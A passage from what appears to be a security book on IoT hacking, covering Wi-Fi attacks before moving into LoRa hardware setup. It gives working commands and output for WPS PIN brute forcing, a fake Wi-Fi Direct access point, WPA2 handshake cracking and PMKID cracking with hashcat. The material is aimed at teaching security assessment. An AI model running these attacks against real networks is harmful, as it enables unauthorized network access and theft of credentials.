press a button on a victim device, such as a TV, and grant access to a foreign 
and potentially malicious device, such as the attacker’s smartphone. In PIN 
entry mode, the group owner has a specific PIN code, which, if entered by 
a client, automatically connects the two devices. In NFC mode, just tapping 
the two devices is enough to connect them to the network.

PIN Brute Forcing Using Reaver

Attackers can brute force the code in the PIN entry configuration. This 
attack can resemble a one-click phishing attack, and you can use it with any 
device that supports Wi-Fi Direct with PIN entry. 

This attack takes advantage of a weakness in the eight-digit WPS PIN 
code; because of this issue, the protocol discloses information about the 
PIN’s first four digits, and the last digit works as a checksum, which makes 
brute forcing the WPS AP easy. Note that some devices include brute-force 
protections, which usually block MAC addresses that repeatedly try to 
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attack. In that case, the complexity of this attack increases, because you’d 
have to rotate MAC addresses while testing PINs.

Currently, you’ll rarely find APs with WPS PIN mode enabled, because 
off-the-shelf tools exist to brute force their pins. One such tool, Reaver, is 
preinstalled in Kali Linux. In this example, we’ll use Reaver to brute force 
WPS PIN entry. Even though this AP enforces a brute-force protection 
through rate limiting, we should be able to recover the PIN given enough 
time. (Rate limiting restricts how many requests an AP will accept from a cli-
ent within a predefined timeframe.)

# 1 reaver -i wlan0mon -b 0c:80:63:c5:1a:8a -vv 
Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com> 
[+] Waiting for beacon from 0C:80:63:C5:1A:8A
[+] Switching wlan0mon to channel 11
[+] Received beacon from 0C:80:63:C5:1A:8A
[+] Vendor: RalinkTe
[+] Trying pin "12345670"
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...…
...
[+] Received WSC NACK
[+] Sending WSC NACK
[!] WARNING: 2 Detected AP rate limiting, waiting 60 seconds before re-checking
 ...
[+] 3 WPS PIN: ‘23456780’

As you can see, Reaver 1 targets our test network and starts brute 
forcing its PIN. Next, we encounter rate limiting 2, which severely delays 
our efforts, because Reaver automatically pauses before making another 
attempt. Finally, we recover the WPS PIN 3.

EvilDirect Hijacking Attacks

The EvilDirect attack works a lot like the Evil Twin attack described earlier 
in this chapter, except it targets devices using Wi-Fi Direct. This association 
attack takes place during the PBC connection process. During this process, 
the client issues a request to connect to the group owner and then waits for 
its acceptance. An attacking group owner with the same MAC address and 
ESSID, operating on the same channel, could intercept the request and 
lure the victim client to associate with it instead.

Before you can attempt this attack, you’ll have to impersonate the 
legitimate group owner. Use Wifiphisher to identify the target Wi-Fi Direct 
network. Extract the group owner’s channel, ESSID, and MAC address, and 
then create a new group owner, using the extracted data to configure it. 
Connect the victim to your fake network by having a better signal than the 
original group owner, as described earlier. 

Next, kill all processes that interfere with Airmon-ng, as we did earlier 
in this chapter:

# airmon-ng check kill
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Then put your wireless interface in monitor mode using iwconfig: 

1 # iwconfig 
   eth0      no wireless extensions.
   lo        no wireless extensions.

   2 wlan0  IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

3 # airmon-ng start wlan0 

The iwconfig command 1 lets you identify the name of your wireless 
adapter. Ours is named wlan0 2. Once you have that name, use the com-
mand  airmon-ng start wlan0 3 to safely put it in monitor mode. 

Next, run Airbase-ng, a multipurpose tool in the Aircrack-ng suite 
aimed at attacking Wi-Fi clients. As command line arguments, provide the 
channel (-c), ESSID (-e), BSSID (-a), and the monitoring interface, which 
in our case is mon0. We extracted this information in the previous step.

# airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0
04:47:17  Created tap interface at0
04:47:17  Trying to set MTU on at0 to 1500
04:47:17  Access Point with BSSID BB:BB:BB:BB:BB:BB started.
04:47:37 1 Client AA:AA:AA:AA:AA:AA associated (WPA2;CCMP) to ESSID: "DIRECT-5x-BRAVIA"

The output indicates that the attack worked 1; our target client is now 
associated to the malicious AP.

Figure 12-7 proves that our attack succeeded. We managed to connect 
the victim phone to our fake BRAVIA TV by impersonating the original 
TV’s Wi-Fi Direct network, DIRECT-5x-BRAVIA. 

Figure 12-7: Victim device connected to  
a fake AP through an EvilDirect attack
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In a real-world example, we’d also want to have a DHCP server con-
figured to forward all packets to their destinations. That way, we wouldn’t 
disrupt the victim’s communication, providing a seamless experience to the 
victim. 

Wi-Fi Attacks Against APs
It’s not uncommon in the IoT world for IoT devices to act as APs. This 
often occurs when a device creates an open AP for its setup process (for 
example, Amazon Alexa and Google Chromecast do this). Modern mobile 
devices can also serve as APs to share their Wi-Fi connectivity with other 
users, and smart cars feature built-in Wi-Fi hotspots enhanced by a 4G LTE 
connection.

Hacking an AP usually means breaking its encryption. In this section, 
we’ll explore attacks against WPA and WPA2, two protocols used to secure 
wireless computer networks. WPA is an upgraded version of WEP, a highly 
insecure protocol you might still encounter in certain older IoT devices. 
WEP generates an Initialization Vector (IV) with a rather small length—
just 24 bits— which is created using RC4, a deprecated and insecure cryp-
tographic function. In turn, WPA2 is an upgraded version of WPA that 
introduced an Advanced Encryption Standard (AES)–based encryption 
mode. 

Let’s discuss WPA/WPA2 Personal and Enterprise networks and iden-
tify key attacks against them. 

Cracking WPA/WPA2
You can crack a WPA/WPA2 network in two ways. The first targets networks 
that use preshared keys. The second targets the Pairwise Master Key Identifier 
(PMKID) field found in networks that enable roaming with the 802.11r stan-
dard. While roaming, a client can connect to different APs belonging to the 
same network without having to reauthenticate to each one. Although the 
PMKID attack has greater success rate, it doesn’t affect all the WPA/WPA2 
networks, because the PMKID field is optional. The preshared key attack is 
a brute-force attack, which has a lower success rate.

Preshared Key Attacks

WEP, WPA, and WPA2 all rely on secret keys that the two devices must 
share, ideally over a secure channel, before they can communicate. In all 
three protocols, APs use the same preshared key with all their clients. 

To steal this key, we need to capture a complete four-way handshake. 
The WPA/WPA2 four-way handshake is a communication sequence that lets 
the AP and wireless client prove to each other that they both know the pre-
shared key without ever disclosing it over the air. By capturing the four-way 
handshake, an attacker can mount an offline brute-force attack and expose 
the key.  



300   Chapter 12

Also known as an Extensible Authentication Protocol (EAP) over LAN 
(EAPOL) handshake, the four-way handshake that WPA2 uses (Figure 12-8) 
involves the generation of multiple keys based on the preshared one. 

Client AP

1. A-nonce

3. S-nonce & MIC

5. GTK & MIC

6. ACK

2. Generate PTK

4. Generate PTK

Figure 12-8: WPA2 four-way handshake

First, the client uses the preshared key, called the Pairwise-Master Key 
(PMK), to generate a second key, called the Pairwise Transient Key (PTK), 
using both devices’ MAC addresses and a nonce from both parties. This 
requires the AP to send the client its nonce, called the A-nonce. (The client 
already knows its own MAC address, and it receives the AP’s once the two 
devices begin communicating, so the devices don’t need to send those again.)

Once the client has generated the PTK, it sends the AP two items: its 
own nonce, called the S-nonce, and a hash of the PTK, called a Message 
Integrity Code (MIC). The AP then generates the PTK on its own and verifies 
the MIC it received. If the MIC is valid, the AP issues a third key, called the 
Group Temporal Key (GTK), which is used to decrypt and broadcast traffic to 
all clients. The AP sends the GTK’s MIC and the full value of GTK. The cli-
ent validates these and responds with an acknowledgment (ACK). 

The devices send all these messages as EAPOL frames, a type of frame 
that the 802.1X protocol uses.

Let’s attempt to crack a WPA2 network. To get the PMK, we need to 
extract the A-nonce, S-nonce, both MAC addresses, and the PTK’s MIC. 
Once we have these values, we can perform an offline brute-force attack to 
crack the password.

In this example, we’ve set up an AP operating in WPA2 preshared key 
mode and then connected a smartphone to that AP. You could replace 
the client with a laptop, smartphone, IP camera, or other device. We’ll use 
Aircrack-ng to demonstrate the attack. 



Medium Range Radio: Hacking Wi-Fi   301

First, put your wireless interface in monitor mode and extract the AP’s 
BSSID. Refer to “Deauthentication and Denial-of-Service Attacks” on page 
289 for complete instructions on how to do this. In our case, we learned 
the AP’s operation channel is 1 and its BSSID is 0C:0C:0C:0C:0C:0C. 

Continue monitoring passively, which will require some time, because 
we’ll have to wait until a client connects to the AP. You could accelerate this 
process by sending deauthentication packets to an already connected client. 
By default, a deauthenticated client will try to reconnect to their AP, initiat-
ing the four-way handshake again.

Once a client has connected, use Airodump-ng to start capturing 
frames sent to the target network:

# airmon-ng check kill 
# airodump-ng -c 6 --bssid 0C:0C:0C:0C:0C:0C wlan0mo -w dump

Once we’ve captured frames for a couple of minutes, we start our brute-
force attack to crack the key. We can do this quickly using Aircrack-ng:

# aircrack-ng -a2 -b 0C:0C:0C:0C:0C:0C -w list dump-01.cap
                              Aircrack-ng 1.5.2 
      [00:00:00] 4/1 keys tested (376.12 k/s) 
      Time left: 0 seconds                                     400.00%
                            KEY FOUND! [ 24266642 ]
  
      Master Key     : 7E 6D 03 12 31 1D 7D 7B 8C F1 0A 9E E5 B2 AB 0A 
                       46 5C 56 C8 AF 75 3E 06 D8 A2 68 9C 2A 2C 8E 3F 
 
      Transient Key  : 2E 51 30 CD D7 59 E5 35 09 00 CA 65 71 1C D0 4F 
                       21 06 C5 8E 1A 83 73 E0 06 8A 02 9C AA 71 33 AE 
                       73 93 EF D7 EF 4F 07 00 C0 23 83 49 76 00 14 08 
                       BF 66 77 55 D1 0B 15 52 EC 78 4F A1 05 49 CF AA 
      EAPOL HMAC     : F8 FD 17 C5 3B 4E AB C9 D5 F3 8E 4C 4B E2 4D 1A

We recover the PSK: 24266642. 
Note that some networks use more complex passwords, making this 

technique less feasible. 

PMKID Attacks

In 2018, a Hashcat developer nicknamed atom discovered a new way to 
crack the WPA/WPA2 PSK and outlined it in the Hashcat forums. The nov-
elty of this attack is that it’s clientless; the attacker can target the AP directly 
without having to capture the four-way handshake. In addition, it’s a more 
reliable method. 

This new technique takes advantage of the Robust Security Network (RSN) 
PMKID field, an optional field normally found in the first EAPOL frame 
from the AP. The PMKID gets computed as follows:

PMKID = HMAC-SHA1-128(PMK, “PMK Name” | MAC_AP | MAC_STA)
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The PMKID uses the HMAC-SHA1 function with the PMK as a key. It 
encrypts the concatenation of a fixed string label, "PMK Name"; the AP’s MAC 
address; and the wireless station’s MAC address.

For this attack, you’ll need the following tools: Hcxdumptool, Hcxtools, 
and Hashcat. To install Hcxdumptool, use the following commands:

$ git clone https://github.com/ZerBea/hcxdumptool.git
$ cd hcxdumptool && make && sudo make install

To install Hcxtools, you’ll first need to install libcurl-dev if it’s not 
already installed on your system:

$ sudo apt-get install libcurl4-gnutls-dev

Then you can install Hcxtools with the following commands:

$ git clone https://github.com/ZerBea/hcxtools.git
$ cd hcxtools && make && sudo make install

If you’re working on Kali, Hashcat should already be installed. On 
Debian-based distributions, the following command should do the trick:

$ sudo apt install hashcat

We first put our wireless interface in monitor mode. Follow the instruc-
tions in “Deauthentication and Denial-of-Service Attacks” on page 289 to 
do this. 

Next, using hcxdumptool, we start capturing traffic and save it to a file: 

# hcxdumptool -i wlan0mon –enable_status=31 -o sep.pcapng –filterlist_ap=whitelist.txt 
--filtermode=2
initialization...
warning: wlan0mon is probably a monitor interface

start capturing (stop with ctrl+c)
INTERFACE................: wlan0mon
ERRORMAX.................: 100 errors
FILTERLIST...............: 0 entries
MAC CLIENT...............: a4a6a9a712d9
MAC ACCESS POINT.........: 000e2216e86d (incremented on every new client)
EAPOL TIMEOUT............: 150000
REPLAYCOUNT..............: 65165
ANONCE...................: 6dabefcf17997a5c2f573a0d880004af6a246d1f566ebd04c3f1229db1ada39e
...
[18:31:10 – 001] 84a06ec17ccc -> ffffffffff Guest [BEACON, SEQUENCE 2800, AP CHANNEL 11]
...
[18:31:10 – 001] 84a06ec17ddd -> e80401cf4fff [FOUND PMKID CLIENT-LESS]
[18:31:10 – 001] 84a06ec17eee -> e80401cf4aaa [AUTHENTICATION, OPEN SYSTEM, STATUS 0, SEQUENCE 
2424]
...
INFO: cha=1, rx=360700, rx(dropped)=106423, tx=9561, powned=21, err=0
INFO: cha=11, rx=361509, rx(dropped)=106618, tx=9580, powned=21, err=0
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Make sure you apply the –filterlist_ap argument with your target’s 
MAC address when using Hcxdumptool so you don’t accidentally crack the 
password for a network you have no permission to access. The --filtermode 
option will blacklist (1) or whitelist (2) the values in your list and then either 
avoid or target them. In our example, we listed these MAC addresses in the 
whitelist.txt file.

The output found a potentially vulnerable network, identified by the 
[FOUND PMKID] tag. Once you see this tag, you can stop capturing traffic. Keep 
in mind that it might take some time before you encounter it. Also, because 
the PMKID field is optional, not all existing APs will have one.

Now we need to convert the captured data, which includes the PMKID 
data in the pcapng format, to a format that Hashcat can recognize: Hashcat 
takes hashes as input. We can generate a hash from the data using hcxpcaptool:

$ hcxpcaptool -z out sep.pcapng
reading from sep.pcapng-2                                                
summary:                                        
--------
file name....................: sep.pcapng-2
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 5.2.0-kali2-amd64
file application information.: hcxdumptool 5.1.4
network type.................: DLT_IEEE802_11_RADIO (127)
endianness...................: little endian
read errors..................: flawless
packets inside...............: 171
skipped packets..............: 0
packets with GPS data........: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 22
probe requests...............: 9
probe responses..............: 6
association requests.........: 1
association responses........: 10
reassociation requests.......: 1
reassociation responses......: 1
authentications (OPEN SYSTEM): 47
authentications (BROADCOM)...: 46
authentications (APPLE)......: 1
EAPOL packets (total)........: 72
EAPOL packets (WPA2).........: 72
EAPOL PMKIDs (total).........: 19
EAPOL PMKIDs (WPA2)..........: 19
best handshakes..............: 3 (ap-less: 0)
best PMKIDs..................: 8

8 PMKID(s) written in old hashcat format (<= 5.1.0) to out

This command creates a new file called out that contains data in the 
following format: 

37edb542e507ba7b2a254d93b3c22fae*b4750e5a1387*6045bdede0e2*4b61746879
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This * delimited format contains the PMKID value, the AP’s MAC 
address, the wireless station’s MAC address, and the ESSID. Create a new 
entry for every PMKID network you identify.

Now use the Hashcat 16800 module to crack the vulnerable network’s 
password. The only thing missing is a wordlist containing potential pass-
words for the AP. We’ll use the classic rockyou.txt wordlist.

$ cd /usr/share/wordlists/ && gunzip -d rockyou.txt.gz
$ hashcat -m16800 ./out /usr/share/wordlists/rockyou.txt
OpenCL Platform #1: NVIDIA Corporation
====================================== 
* Device #1: GeForce GTX 970M, 768/3072 MB allocatable, 10MCU
OpenCL Platform #2: Intel(R) Corporation
Rules: 1
...
.37edb542e507ba7b2a254d93b3c22fae*b4750e5a1387*6045bdede0e2*4b61746879:  purple123 1
Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: 37edb542e507ba7b2a254d93b3c22fae*b4750e5a1387*6045b...746879
Time.Started.....: Sat Nov 16 13:05:31 2019 (2 secs)
Time.Estimated...: Sat Nov 16 13:05:33 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   105.3 kH/s (11.80ms) @ Accel:256 Loops:32 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 387112/14344385 (2.70%)
Rejected.........: 223272/387112 (57.68%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456789 -> sunflower15
Hardware.Mon.#1..: Temp: 55c Util: 98% Core:1037MHz Mem:2505MHz Bus:16

Started: Sat Nov 16 13:05:26 2019
Stopped: Sat Nov 16 13:05:33 

The Hashcat tool manages to extract the password 1: purple123. 

Cracking into WPA/WPA2 Enterprise to Capture Credentials
In this section, we provide an overview of attacks against WPA Enterprise. 
An actual exploitation of WPA Enterprise is outside the scope of this book, 
but we’ll briefly cover how such an attack works. 

WPA Enterprise is a more complex mode than WPA Personal and is 
mainly used for business environments that require extra security. This 
mode includes an extra component, a Remote Authentication Dial-In User 
Service (RADIUS) server, and uses the 802.1x standard. In this standard, the 
four-way handshake occurs after a separate authentication process, the EAP. 
For this reason, the attacks on WPA Enterprise focus on breaking EAP.

EAP supports many different authentication methods, the most com-
mon of which are Protected-EAP (PEAP) and EAP-Tunneled-TLS (EAP-
TTLS). A third method, EAP-TLS, is becoming more popular due to its 
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security features. At the time of this writing, EAP-TLS remains a safe 
choice, because it requires security certificates on both sides of the wire-
less connection, providing a more resilient approach to connecting to an 
AP. But the administrative overhead of managing the server and the client 
certificates might deter most network administrators. The other two proto-
cols perform certificate authentication to the server only, not to the client, 
allowing the clients to use credentials that are prone to interception.

Network connections in the WPA Enterprise mode involve three par-
ties: the client, the AP, and the RADIUS authentication server. The attack 
described here will target the authentication server and the AP by attempt-
ing to extract the victim’s credential hashes for an offline brute-force 
attack. It should work against the PEAP and EAP-TTLS protocols.

First, we create a fake infrastructure containing a fake AP and a RADIUS 
server. This AP should mimic the legitimate one by operating with the same 
BSSID, ESSID, and channel. Next, because we’re targeting the clients rather 
than the AP, we’ll deauthenticate the AP’s clients. The clients will attempt to 
reconnect to their target AP by default, at which point our malicious AP will 
associate the victims to it. This way, we can capture their credentials. The cap-
tured credentials will be encrypted, as mandated by the protocol. Fortunately 
for us, the PEAP and EAP-TTLS protocols use the MS-CHAPv2 encryption 
algorithm, which uses the Data Encryption Standard (DES) under the hood 
and is easily cracked. Equipped with a list of captured encrypted creden-
tials, we can launch an offline brute-force attack and recover the victim’s 
credentials.

A Testing Methodology
When performing a security assessment on Wi-Fi enabled systems, you 
could follow the methodology outlined here, which covers the attacks 
described in this chapter.

First, verify whether the device supports Wi-Fi Direct and its association 
techniques (PIN, PBC, or both). If so, it could be susceptible to PIN brute 
forcing or EvilDirect attacks.

Next, examine the device and its wireless capabilities. If the wireless 
device supports STA capabilities (which means it can be used as either an 
AP or a client), it might be vulnerable to association attacks. Check if the 
client connects automatically to previously connected networks. If it does, 
it could be vulnerable to the Known Beacons attack. Verify that the client 
isn’t arbitrarily sending probes for previously connected networks. If it is, it 
could be vulnerable to a KARMA attack.

Identify whether the device has support for any third-party Wi-Fi utili-
ties, such as custom software used to set up Wi-Fi automatically. These 
utilities could have insecure settings enabled by default due to negligence. 
Study the device’s activities. Are there any critical operations happening 
over Wi-Fi? If so, it might be possible to cause a denial of service by jam-
ming the device. Also, in cases when the wireless device supports AP capa-
bilities, it could be vulnerable to improper authentication.
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Then search for potential hardcoded keys. Devices configured to sup-
port WPA2 Personal might come with a hardcoded key. This is a common 
pitfall that could mean an easy win for you. On enterprise networks that 
use WPA Enterprise, identify which authentication method the network is 
employing. Networks using PEAP and EAP-TTLS could be susceptible to 
having their client’s credentials compromised. Enterprise networks should 
use EAP-TLS instead. 

Conclusion
Recent advances in technologies like Wi-Fi have greatly contributed to the 
IoT ecosystem, allowing people and devices to be even more connected 
than ever in the past. Most people expect a standard degree of connectivity 
wherever they go, and organizations regularly rely on Wi-Fi and other wire-
less protocols to increase their productivity. 

In this chapter, we demonstrated Wi-Fi attacks against clients and APs 
with off-the-shelf tools, showing the large attack surface that medium-range 
radio protocols unavoidably expose. At this point, you should have a good 
understanding of various attacks against Wi-Fi networks, ranging from signal 
jamming and network disruption to association attacks like the KARMA and 
Known Beacons attacks. We detailed some key features of Wi-Fi Direct and 
how to compromise them using PIN brute forcing and the EvilDirect attack. 
Then we went over the WPA2 Personal and Enterprise security protocols and 
identified their most critical issues. Consider this chapter a baseline for your 
Wi-Fi network assessments.



Low-Power Wide Area Network (LPWAN) is a 
group of wireless, low-power, wide area net-

work technologies designed for long-range 
communications at a low bit rate. These net-

works can reach more than six miles, and their power 
consumption is so low that their batteries can last up 
to 20 years. In addition, the overall technology cost  
is relatively cheap. LPWANs can use licensed or unlicensed frequencies 
and include proprietary or open standard protocols. 

LPWAN technologies are common in IoT systems, such as smart cit-
ies, infrastructure, and logistics. They’re used in place of cables or in cases 
where it could be insecure to plug nodes directly into the main network. 
For example, in infrastructure, LPWAN sensors often measure river flood 
levels or pressure on water pipes. In logistics, sensors might report tempera-
tures from refrigerated units inside containers carried by ships or trucks. 

In this chapter, we focus on one of the main LPWAN radio technolo-
gies, Long Range (LoRa), because it’s popular in multiple countries and has 
an open source specification called LoRaWAN. It’s used for a variety of 

13
L O N G  R A N G E  R A D I O :  L P W A N 
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critical purposes, such as railway level crossings, burglar alarms, Industrial 
Control System (ICS) monitoring, natural disaster communication, and 
even receiving messages from space. We first demonstrate how to use and 
program simple devices to send, receive, and capture LoRa radio traffic. 
Then we move up one layer and show you how to decode LoRaWAN pack-
ets, as well as how LoRaWAN networks work. Additionally, we provide an 
overview of various attacks that are possible against this technology and 
demonstrate a bit-flipping attack.

LPWAN, LoRa, and LoRaWAN
LoRa is one of three main LPWAN modulation technologies. The other 
two are Ultra Narrowband (UNB) and NarrowBand (NB-IoT). LoRa is spread 
spectrum, meaning devices transmit the signal on a bandwidth larger than 
the frequency content of the original information; it uses a bit rate ranging 
from 0.3Kbps to 50Kbps per channel. UNB uses a very narrow bandwidth, 
and NB-IoT leverages existing cellular infrastructure, such as the global net-
work operator Sigfox, which is the biggest player. These different LPWAN 
technologies offer varying levels of security. Most of them include network 
and device or subscriber authentication, identity protection, advanced stan-
dard encryption (AES), message confidentiality, and key provisioning. 

When people in the IoT industry talk about LoRa, they’re usually refer-
ring to the combination of LoRa and LoRaWAN. LoRa is a proprietary 
modulation scheme patented by Semtech and licensed to others. In the 
seven-layer OSI model of computer networking, LoRa defines the physical 
layer, which involves the radio interface, whereas LoRaWAN defines the lay-
ers above it. LoRaWAN is an open standard maintained by LoRa Alliance, a 
nonprofit association of more than 500 member companies. 

LoRaWAN networks are composed of nodes, gateways, and network 
servers (Figure 13-1). 

Node

Node

Node

Node

Node

Node

Gateway

Gateway

Network
server

Application
server

Application
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Figure 13-1: LoRaWAN network architecture
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Nodes are small, cheap devices that communicate with the gateways 
using the LoRaWAN protocol. Gateways are slightly larger, more expensive 
devices that act as middlemen to relay data between the nodes and the 
network server, with which they communicate over any kind of standard 
IP connection. (This IP connection can be cellular, Wi-Fi, or so on.) The 
network server is then sometimes connected to an application server, which 
implements logic upon receiving messages from a node. For example, if the 
node is reporting a temperature value above a certain threshold, the server 
could reply with commands to the node and take appropriate action (for 
instance, open a valve). LoRaWAN networks use a star-of-stars topology, which 
means that multiple nodes can talk to one or more gateways, which talk to 
one network server.

Capturing LoRa Traffic 
In this section, we’ll demonstrate how to capture LoRa traffic. By doing 
so, you’ll learn how to use the CircuitPython programming language and 
interact with simple hardware tools. Various tools can capture LoRa signals, 
but we selected those that demonstrate techniques you might use for other 
IoT hacking tasks.

For this exercise, we’ll use three components: 

LoStik    An open source USB LoRa device (available from https://ronoth 
.com/lostik/). LoStik uses either the Microchip modules RN2903 (US) or 
RN2483 (EU), depending on which International Telecommunications 
Union (ITU) region you’re in. Make sure you get the one that covers 
your region.  

CatWAN USB Stick    An open source USB stick compatible with 
LoRa and LoRaWAN (available at https://electroniccats.com/store/
catwan-usb-stick/).

Heltec LoRa 32    An ESP32 development board for LoRa (https://
heltec.org/project/wifi-lora-32/). ESP32 boards are low-cost, low-power 
microcontrollers.

We’ll make the LoStik into a receiver and the Heltec board into a 
sender and then have them talk to each other using LoRa. We’ll then set up 
the CatWAN stick as a sniffer to capture the LoRa traffic.

Setting Up the Heltec LoRa 32 Development Board
We’ll start by programming the Heltec board using the Arduino IDE. 
Return to Chapter 7 for an introduction to the Arduino.

Install the IDE if you don’t already have it, then add the Heltec libraries 
for Arduino-ESP32. These will let you program ESP32 boards, such as the 
Heltec LoRa module, using the Arduino IDE. To accomplish the installs, 
click FilePreferencesSettings, and then click the Additional Boards 
Manager URLs button. Add the following URL in the list: https://resource 
.heltec.cn/download/package_heltec_esp32_index.json, and click OK. Then click 

https://ronoth.com/lostik/
https://ronoth.com/lostik/
https://electroniccats.com/store/catwan-usb-stick/
https://electroniccats.com/store/catwan-usb-stick/
https://heltec.org/project/wifi-lora-32/
https://heltec.org/project/wifi-lora-32/
https://resource.heltec.cn/download/package_heltec_esp32_index.json
https://resource.heltec.cn/download/package_heltec_esp32_index.json
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ToolsBoardBoards Manager. Search for Heltec ESP32 and click Install 
on the Heltec ESP32 Series Dev-boards by Heltec Automation option that 
should appear. We specifically used version 0.0.2-rc1.

The next step is to install the Heltec ESP32 library. Click Sketch 
Include LibraryManage Libraries. Then search for “Heltec ESP32” and 
click Install on the Heltec ESP32 Dev-Boards by Heltec Automation option. 
We used version 1.0.8.

N O T E 	 You can find a visual guide for installing the Heltec Arduino-ESP32 support at 
https://heltec-automation-docs.readthedocs.io/en/latest/esp32+arduino/
quick_start.html?highlight=esp32. 

To check where the libraries are saved, click FilePreferences 
Sketchbook location. On Linux, the directory listed there is typically  
/home/<username>/Arduino where you should find a subfolder called libraries 
containing libraries like “Heltec ESP32 Dev Boards.”

You’ll also probably need to install the UART bridge VCP driver so the 
Heltec board appears as a serial port when you connect it to your computer. 
You can get the drivers at https://www.silabs.com/products/development-tools/ 
software/usb-to-uart-bridge-vcp-drivers/. If you’re running Linux, make sure  
you select the proper version for the kernel you’re running. The release 
notes include instructions on how to compile the kernel module.

Note that if you’re logged in as a nonroot user, you might need to add 
your username to the group that has read and write access to the /dev/
ttyACM* and /dev/ttyUSB* special device files. You’ll need this to access the 
Serial Monitor functionality from within the Arduino IDE. Open a terminal 
and enter this command: 

$ ls -l /dev/ttyUSB*
crw-rw---- 1 root dialout 188, 0 Aug 31 21:21 /dev/ttyUSB0

This output means that the group owner of the file is dialout (it might 
differ in your distribution), so you need to add your username to this group:

$ sudo usermod -a -G dialout <username>

Users belonging to the dialout group have full and direct access to 
serial ports on the system. Once you add your username to the group, you 
should have the access you need for this step.

Programming the Heltec Module

To program the Heltec module, we’ll connect it to a USB port in our com-
puter. Make sure you’ve first connected the detachable antenna to the main 
module. Otherwise, you might damage the board (Figure 13-2).

https://heltec-automation-docs.readthedocs.io/en/latest/esp32+arduino/quick_start.html?highlight=esp32
https://heltec-automation-docs.readthedocs.io/en/latest/esp32+arduino/quick_start.html?highlight=esp32
https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers/
https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers/
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Figure 13-2: The Heltec Wi-Fi LoRa 32 (V2) is based on ESP32 and SX127x and supports 
Wi-Fi, BLE, LoRa, and LoRaWAN. The arrow indicates where to connect the antenna.

In the Arduino IDE, select the board by clicking ToolsBoardWiFi 
LoRa 32 (V2), as shown in Figure 13-3. 

Figure 13-3: Select the correct board in the Arduino IDE: WiFi LoRa 32(V2).

Next, we’ll start writing an Arduino program to make the Heltec mod-
ule act as a LoRa packets sender. The code will configure the Heltec module 
radio and send simple LoRa payloads in a loop. Click FileNew and paste 
the code from Listing 13-1 into the file.
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  #include "heltec.h" 
  #define BAND 915E6  
  String packet;
  unsigned int counter = 0;

  void setup() { 1
    Heltec.begin(true, true, true, true, BAND);
    Heltec.display->init();
    Heltec.display->flipScreenVertically();  
    Heltec.display->setFont(ArialMT_Plain_10);
    delay(1500);
    Heltec.display->clear();
    Heltec.display->drawString(0, 0, "Heltec.LoRa Initial success!");
    Heltec.display->display();
    delay(1000);
  }

  void loop() { 2
    Heltec.display->clear();
    Heltec.display->setTextAlignment(TEXT_ALIGN_LEFT);
    Heltec.display->setFont(ArialMT_Plain_10);
    Heltec.display->drawString(0, 0, "Sending packet: ");
    Heltec.display->drawString(90, 0, String(counter));
    Heltec.display->display();

    LoRa.beginPacket(); 3
    LoRa.disableCrc(); 4
    LoRa.setSpreadingFactor(7);
    LoRa.setTxPower(20, RF_PACONFIG_PASELECT_PABOOST);
    LoRa.print("Not so secret LoRa message ");
    LoRa.endPacket(); 5
  
    counter++; 6
    digitalWrite(LED, HIGH);   // turn the LED on (HIGH is the voltage level)
    delay(1000);                   
    digitalWrite(LED, LOW);    // turn the LED off by making the voltage LOW
    delay(1000);                
  }

Listing 13-1: The Arduino code that allows the Heltec LoRa module to act as a basic LoRa packet sender

We first include the Heltec libraries, which contain functions for inter-
facing with the OLED display on the board and the SX127x LoRa node 
chips. We’re using the US version of LoRa, so we define the frequency to 
be 915 MHz. 

We call the setup() function 1, which, remember, gets called once when 
an Arduino sketch begins. Here, we’re using it to initialize the Heltec mod-
ule and its OLED display. The four boolean values in Heltec.begin enable 
the board’s display; the LoRa radio; the serial interface, which allows you 
to see output from the device using the Serial Monitor, explained shortly; 
and PABOOST (the high-power transmitter). The last argument sets the 
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frequency used to transmit signals. The rest of the commands inside setup() 
initialize and set up the OLED display.

Like setup(), the loop() function 2 is a built-in Arduino function and 
it runs indefinitely, so this is where we place our main logic. We begin each 
loop by printing the string Sending packet:, followed by a counter on the 
OLED display to keep track of how many LoRa packets we’ve sent so far.

Next, we start the process of sending a LoRa packet 3. The next four 
commands 4 configure the LoRa radio: they disable the cyclic redundancy 
check (CRC) on the LoRa header (by default, a CRC isn’t used), set a spread-
ing factor of 7, set the transmission power to a maximum value of 20, and 
add the actual payload (with the LoRa.print() function from the Heltec 
library) to the packet. The CRC is an error-detecting value of fixed length 
that helps the receiver check for packet corruption. The spreading factor 
determines the duration of a LoRa packet on air. SF7 is the shortest time 
on air, and SF12 is the longest. Each step up in spreading factor doubles the 
time it takes on air to transmit the same amount of data. Although slower, 
higher spreading factors can be used for a longer range. The transmission 
power is the amount of power in watts of radio frequency energy that the 
LoRa radio will produce; the higher it is, the stronger the signal will be. We 
then send the packet by calling LoRa.endPacket() 5.

N O T E 	 It’s important to set the spreading factor to 7 if the LoRa nodes are near each other (in 
the same room or even building). Otherwise, you’ll experience massive packet loss or 
corruption. In our case, where all three components were in the same room, using SF7 
was necessary.

Finally, we increase the packet counter and turn the LED on the Heltec 
board on and off to indicate we just sent another LoRa packet 6. 

To better understand our Arduino program, we recommend that you 
read the Heltec ESP32 LoRa library code and API documentation at https://
github.com/HelTecAutomation/Heltec_ESP32/tree/master/src/lora/.

Testing the LoRa Sender

To try the code, upload it to the Heltec board. Make sure you’ve selected the 
correct port in the Arduino IDE. Click ToolsPort and select the USB port 
